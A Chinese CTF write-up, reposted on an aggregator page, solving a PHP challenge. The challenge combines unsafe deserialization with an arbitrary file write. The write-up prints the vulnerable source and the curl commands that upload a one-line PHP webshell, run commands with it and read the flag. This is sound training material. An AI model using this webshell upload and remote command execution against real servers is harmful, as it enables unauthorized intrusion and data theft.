当前位置: 首页 > news >正文

Unserialize Again

WriteUp: Unserialize Again

题目信息

  • 题目名称:Unserialize Again
  • 难度:中等
  • 提示:Pair pears?
  • 目标:获取Flag

第一步:信息收集

访问首页,发现Cookie中提示pairing.php,访问该页面获得源码。

curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/" # 响应头中有 Set-Cookie: looklook=pairing.php curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php"

第二步:源码审计

pairing.php中存在一个story类,关键魔术方法如下:

class story{ private $user='admin'; public $pass; public $eating; public $God='false'; public function __wakeup(){ $this->user='human'; if(1==1){ die(); } // 后面有 if(1!=1){ echo $fffflag; } } public function __destruct(){ if($this->God=='true' && $this->user=='admin'){ system($this->eating); } else { die('Get Out!'); } } } if(isset($_GET['pear'])&&isset($_GET['apple'])){ $pear=$_GET['pear']; $Adam=$_GET['apple']; $file=file_get_contents('php://input'); file_put_contents($pear,urldecode($file)); file_exists($Adam); }
  • file_put_contents($pear, urldecode($file))可以将POST body写入任意文件($pear可控)。
  • file_exists($Adam)如果$Adamphar://协议,则会触发 phar 反序列化。
  • 反序列化目标:使__destruct满足God=='true'user=='admin',从而执行system($this->eating)
  • __wakeup会将user改为humandie(),需要绕过。

第三步:尝试 phar 反序列化(未成功)

生成了绕过__wakeup的 phar 文件(修改属性数为5或3),但由于服务端对 phar 的兼容性问题或urldecode对二进制数据的破坏,始终无法触发 RCE,输出均为Get Out!

第四步:另辟蹊径 – 直接上传 webshell

注意到file_put_contents可以写入任意文件,且目录可写。直接上传一个简单的 PHP webshell:

curl -g -X POST "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php?pear=shell.php&apple=x" \ --data '<?php system($_GET["c"]);?>'

验证上传成功并执行命令:

curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?c=id" # uid=33(www-data) gid=33(www-data) groups=33(www-data)

第五步:寻找 Flag

列出根目录发现特殊文件/flllag(注意不是/flag):

curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?c=ls%20-la%20/" # 发现 -rw-r--r-- 1 root root 43 Jul 10 00:49 flllag curl -g "http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?c=cat%20/flllag" # CTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}

最终 Flag

CTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}

总结

本题虽然名为反序列化,但实际更简单的解法是利用file_put_contents直接写 webshell 获得 RCE。Phar 反序列化因环境限制未能成功,但 webshell 方案同样有效。关键点是发现/flllag而非常见的/flag文件名。

http://www.jsqmd.com/news/1297697/

相关文章:

  • 如何快速实现Atom编辑器中文汉化:完整简体中文菜单解决方案
  • Godot Orchestrator可视化脚本实战:构建灵活NPC对话系统
  • GPT-5.6 Sol性能优化实测:代码生成与内存管理效率提升指南
  • Replit模型选择器:云原生AI开发与开源模型快速部署指南
  • AI生成内容检测与降AI工具核心技术解析
  • 高效内网穿透实战:轻松实现本地服务公开
  • 遥感图像处理入门:从数据获取到分类实战
  • Webswing:零代码改造,将Swing桌面应用无缝迁移至浏览器
  • 游戏开发者日志解析:从武器设计到技术实现全流程
  • 如何快速配置LAN Share:跨平台局域网文件传输完整指南
  • SAP ABAP SELECT语法深度解析:从基础到HANA性能优化实战
  • 大功率步进电机驱动系统设计:从MOSFET选型到控制算法优化
  • 【仅限本周开放】AI工作流诊断报告:输入你的岗位JD,获取定制化降本增效路径(附Gartner认证模板)
  • 火狐浏览器翻译插件全攻略:从云端到本地,打造沉浸式双语阅读体验
  • STM32定时器时钟源深度解析:从内部时钟到外部触发实战
  • Python Pillow图像处理从入门到实战:系统教程与核心操作详解
  • 2026论文隐藏级降AI率工具大曝光:三步直降AIGC率至安全阈值!
  • Nginx外置缓存-error_page
  • C语言学习之二维数组与函数
  • Wand-Enhancer深度解析:免费解锁Wand专业功能的完整技术指南
  • Unity位图字体生成工具:从设计到UI集成的全流程实战
  • Greasy Fork完整指南:5分钟掌握浏览器用户脚本的强大工具箱
  • AI配音重音标注失效的3大隐形陷阱:92%的团队正在踩坑,今天彻底规避
  • 射频SPDT开关核心结构解析:PIN二极管与FET设计原理及应用对比
  • 嵌入式视觉跟踪系统开发:MaixCAM与无刷电机云台适配实战
  • 工业级Text2SQL实战:半导体晶圆厂Agent系统
  • 单片机开发必知:运放、ADC与DAC的信号链设计与实战调试
  • 大模型时代必懂的37个AI专有名词:从Transformer到MoE,一文厘清概念边界与技术演进脉络
  • 19-SOUL.md-为Agent注入人格与价值观
  • logging 模块